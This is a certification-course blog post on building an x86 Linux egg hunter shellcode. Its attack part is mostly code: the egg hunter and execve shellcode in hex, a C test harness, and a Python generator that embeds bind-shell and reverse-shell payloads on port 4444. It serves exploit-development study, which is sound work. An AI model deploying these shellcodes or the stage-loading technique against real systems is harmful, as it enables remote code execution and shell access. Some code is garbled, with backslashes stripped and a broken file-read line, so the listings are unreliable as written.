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Assignment #3: An Egg Hunter journey

The third assignment for SLAE certification is a study for an egg hunter shellcode. Within this study a working proof of concept code it must be written and it must support different payloads.

The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.

The theory behind the egg hunter

The masterpiece about egg hunting theory is the Safely Searching Process Virtual Address Space paper.

The basic idea is simple: you don’t have enough space where to store your evil payload, so you have to brake it into two different stages:

  • the first stage is called the egg hunter and its purpose is to search the memory for a specific identifier, the egg, and when it found it, to pass the control to the second stage payload;

  • the second stage that it starts with the egg repeated two times, as a marker, and then it contains the evil code to be executed.

I choose to implement the hunter based on the access(2) system call in its revised version, mainly because I don’t want to rely on an executable EGG. True to be told, 0xdeadbeef is my chosen default key.

The key idea is to scan the whole memory, using the access(2) system call that it has the real purpose to check and see if the current process has the specific access rights to a given file on disk.

The proof of concept

First of all, I’ll make very few modifications to our execve(“/bin/sh”) shellcode. In fact, I’ll add only the EGG marker repeated twice.

After having compiled the assembler source file with script shell, I used script to dump the shellcode.


This will be our default payload to be executed when the EGG it has been found in memory. Now, let’s have a look to our egg hunter implementation.

The basic idea here is to traverse memory using EBX register as pointer and access() system call to check if we’re pointing a memory region we’re allowed to read. In this case we are in one of our process memory page and than our second stage can be found there.

Dumping the shellcode I obtained:


I added this shellcode into the same C program used in the first assignment to test our shellcode and I executed it in order to check the payload is correct.

#include<stdio.h> #include<string.h>  unsigned char egg_hunter[] =  "x31xc9xf7xe1x66x81xcaxffx0fx42x8dx5ax04x31xc0xb0x21xcdx80x3cxf2x74xedxb8xefxbexadxdex89xd7xafx75xe8xafx75xe5xffxe7"  unsigned char code[] =  "xefxbexadxdexefxbexadxdex31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x50x89xe1xb0x0bxcdx80"  		        int main(int argc, char **argv) { 	printf("Shellcode Length:  %dn", strlen(code 	printf("Egghunter Length:  %dn", strlen(egg_hunter 	int (*ret)() = (int(*)())egg_hunter 	ret }

The configurator

The most interesting part here is to give the shellcode flexibility for the second stage payload to be executed. The basic idea is to have three different payloads:

  • execve(“/bin/sh”)
  • TCP Bind shell shellcode on port 4444
  • TCP Reverse shell shellcode on localhost port 4444

Here it is the python script I used to create different C programs containing different payloads. Please note that I added also a function to change the EGG value.

#!/usr/bin/env python  import sys, getopt, binascii, fileinput, re  def help():     print sys.argv[0] + " [options]"     print "Valid options:"     print "t-h, --help: show this help"     print "t-s, --shell: use /bin/sh shellcode"     print "t-b, --bind-shell: use a TCP bind shell shellcode on port 4444"     print "t-r, --reverse-shell: use a TCP reverse shell shellcode on on port 4444"     print "t-e, --egg=the_egg_string: use the given string as egg in memory"     return 0  def main(argv):      try:         opts, args=getopt.getopt(argv, "hsbre:", ["help", "shell", "bind-shell", "reverse-shell", "egg="])     except getopt.GetoptError:         help()         sys.exit(1)      egg = "\xef\xbe\xad\xde"     default_shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"     shellcode=egg+egg+default_shellcode      for opt, arg in opts:         if opt in ('-h', '--help'):             help()             sys.exit(0)         elif opt in ('-s', '--shell'):             shellcode=egg+egg+default_shellcode         elif opt in ('-b', '--bind-shell'):             shellcode=egg+egg+"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc9\x31\xc0\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x51\x89\xce\x89\xe1\x89\xe2\xcd\x80\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"         elif opt in ('-r', '--reverse-shell'):             shellcode=egg+egg+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"         elif opt in ('-e', '--egg'):             egg=repr(binascii.unhexlify(arg[::-1])).strip("'")      egg_hunter="\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\xb8"+egg+"\x89\xd7\xaf\x75\xe8\xaf\x75\xe5\xff\xe7"      sys.stderr.write("Egg Hunter: " + egg_hunter+"n")     sys.stderr.write("Shellcode:  " +shellcode+"n")      with open('skeleton.c', 'r') as file :     filedata = filedata.replace("EGG_HUNTER", egg_hunter)     filedata = filedata.replace("CODE", shellcode)      print filedata  if __name__ == "__main__":     main(sys.argv[1:])

Code in action

In this video, you can see the very default payload executing /bin/sh after the EGG being found in memory.

Here, the payload is a TCP bind shellcode on port 4444 on localhost, developed for the first SLAE assignment

This video shows the payload for a TCP reverse shell shellcode on localhost on port 4444 developed for the second SLAE assignment

And in the last video, I show the default payload but with a different EGG.

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1217

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